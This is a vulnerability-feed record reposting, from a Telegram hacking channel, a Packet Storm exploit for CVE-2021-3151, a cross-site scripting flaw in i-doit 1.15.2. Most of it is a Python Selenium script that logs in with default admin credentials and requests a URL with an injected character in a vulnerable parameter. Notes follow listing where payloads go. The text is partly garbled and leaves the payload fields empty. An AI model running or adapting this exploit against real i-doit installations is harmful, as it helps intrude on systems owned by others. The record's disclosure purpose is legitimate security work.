{"uuid": "4854838a-a112-47d8-a6ba-07640b357a34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3151", "type": "seen", "source": "https://t.me/hacking_Attack/10255", "content": "Exploit Collector\ni-doit 1.15.2 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png \ni-doit version 1.15.2 suffers from a cross site scripting vulnerability.\n\nMD5 | 4760ac7ddc0a553330c79104c0530f02\n\nDownload\n# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from Infrastructure\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 05.25.2021\n# Vendor: https://www.i-doit.org/news/\n# Link: https://www.i-doit.org/new-minor-release-i-doit-open-1-15-2/\n# From Github:\nhttps://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip\n# CVE: CVE-2021-3151 - NEW\n# Proof: https://streamable.com/vofczm\n\n[+] Exploit Source:\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-3151\n\nfrom selenium import webdriver\nimport time\nimport os, sys\n# Vendor: https://www.i-doit.org/news/\nwebsite_link=\"http://192.168.1.160/?\"\n\n# enter your login username\nusername=\"admin\"\n\n# enter your login password\npassword=\"admin\"\n\n#enter the element for username input field\nelement_for_username=\"login_username\"\n\n#enter the element for password input field\nelement_for_password=\"login_password\"\n\n#enter the element for submit button\nelement_for_submit=\"login_submit\"\n\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\ntime.sleep(1)\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit XSS vulnerability parameter viewMode\ntime.sleep(3)\n# Payload Parameter: \"viewMode\" (Infrastructure > catgID=41 == XSS\ninjection simbol{'})\nbrowser.get((\"\nhttp://192.168.1.160/index.php?viewMode=1002&tvMode=1006&tvType=1&objID=26&catgID=41%27\n\"))\n\nprint(\"The payload is deployed now this is bad for the owner \\;)\\...\\n\")\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Sorry, but something is wrong and this exploit is not working...\")\n\n## The exploit\n\n## Vulnerable (Infrastructure) section\n## Parameter:\nviewMode (Infrastructure, Object, Network > local pots = XSS simbol{'})\n\n- URL\n\nhttp://192.168.1.2/?viewMode=1100&tvMode=1006&tvType=1&objID=26&catgID=41&objTypeID=19&cateID=1&editMode=1\n\n## insert the payload into:\n\nTitle: \nDescription: \n\n---------------------------------\n\n# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from\nInfrastructure\n# Date: 05.25.2021\n# Exploit Authotr idea: @nu11secur1ty\n# Exploit Debugging: @nu11secur1ty\n# Vendor Homepage: https://www.i-doit.org/news/\n# Software Link:\nhttps://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3151\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:17.642678Z"}